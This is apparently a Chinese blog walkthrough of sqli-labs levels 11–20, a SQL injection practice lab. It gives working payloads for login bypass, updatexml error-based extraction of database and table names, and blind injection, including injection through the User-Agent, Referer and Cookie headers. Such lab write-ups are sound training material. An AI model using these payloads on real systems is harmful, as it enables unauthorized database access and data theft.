2019-05-14
sqli-labs(11-20)
第十一关
界面终于换口味啦

登录系统,目测万能密码或者md5
1、先试试万能密码
username=1' or 1#password=123 返回登录成功,用户名密码为id=1时的数据
如果在发包中要对 # 进行url编码 %23
uname=1%27+or+1%23&passwd=123&submit=Submit
2、额但是我要爆库
mysql_fetch_array() 函数从结果集中取得一行作为关联数组,所以虽然本地测试万能密码能得到所有结果,但是该函数只从结果集中取得一行,有点8xing
3、尝试 uname=11'&passwd=1&submit=Submit
出现报错

可以报错注入,但是为什么是这个报错呢? 1' LIMIT 0,1 明明没有在passwd中的1后面加单引号,猜测这个单引号是本来就在的,但是前面那个单引号去哪了,被前面uname本来有的单引号配对走了。验证查询语句
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
4、构造报错注入
uname=11' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1&submit=Submit

第十二关
1、界面和十一题一样,先尝试万能密码 username=1' or 1#password=123
发现不行。。。
username=1" or 1#password=123

报错,应该是注释符出错了,构造 username=1" or 1 and "1"="1&password=1" or 1 and "1"="1
结果为空
通常注释符出错是因为添加了括号,所以利用and
至于上面的万能密码结果为什么为空?
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
带入变量之后
SELECT username, password FROM users WHERE username=("1" or 1 and "1"="1") and password=("1" or 1 and "1"="1") LIMIT 0,1
当然,万能密码还是有的,比如 uname=\&passwd=)or 1#&submit=Submit
2、说明存在报错注入,尝试
uname=11" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1&passwd=1&submit=Submit

第十三关
和第十二关类似,把双引号改为单引号即可
第十四关
发现如下都可以
uname=11" and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1&passwd=1&submit=Submit
uname=11" and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1&submit=Submit
源码为
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
第十五关
直接在bp尝试
bool盲注
uname=admin' and 1 --+&passwd=admin&submit=Submit

uname=admin' and 0 --+&passwd=admin&submit=Submit

脚本参考第七关
也可以时间盲注
脚本参考第七关
第十六关
这题又是新的组合。。。
括号+单引号,括号+双引号,单引号,双引号,两个括号+单引号
看了源码才知道怎么闭合。。。

相当于 SELECT username, password FROM users WHERE username=("$uname") and password=("$passwd") LIMIT 0,1
构造 uname=") or 1--+&passwd=a&submit=Submit
第十七关
页面提示

猜测是update操作,猜测sql语句大概为
update users set password=$passwd where username=$uname;
1、尝试
uname=adn&passwd=a&submit=Submit
回显如下,应该是用户名不存在导致更新失败,验证操作应该是对操作影响条数进行判断

2、尝试
uname=a' or 1&passwd=11&submit=Submit 失败
uname=a" or 1&passwd=11&submit=Submit 失败
uname=a')# or 1&passwd=11&submit=Submit 失败
uname=a")# or 1&passwd=11&submit=Submit 失败
3、看看源码把,原来是分两次查询的,而且第一次查找uname还有check函数。。。





4、根据最后一行可以用报错注入,并且过滤函数没有对passwd进行过滤
魔术引号 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。
当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。这和 addslashes() 作用完全相同。
长度不能超过20
其中过滤函数 mysql_real_escape_string()
函数转义SQL 语句中使用的字符串中的特殊字符。
\x00 \n \r \ ' " \x1a
构造 uname=admin&passwd=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+&submit=Submit

这里uname一定要存在,不然无法进入下一次update操作
第十八关

不出意外应该是 insert into 操作记录访问ip
1、查看源代码




2、发现可以报错注入,并且只能通过uagent、ip进行,因为没有进行过滤
首先要登陆成功才能继续。。。
但是ip试了几次不知道为啥不行,
$_server[‘Remote_ADDR’]
用户IP将在HTTP标头中提供(例如X-Forwarded-For、client-ip)
在bp对ua进行修改为 User-Agent:1'

闭合构造 User-Agent:1' and '1'='1

报错注入 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

第十九关
之后每题都要求先登录。。。并且都是对uname和passwd进行check
和第十八关类似,把注入点从ua改成referer即可

报错注入 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

第二十关
在登陆成功之后出现了cookie,修改 Cookie: uname=admin'

还是报错注入,构造 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1
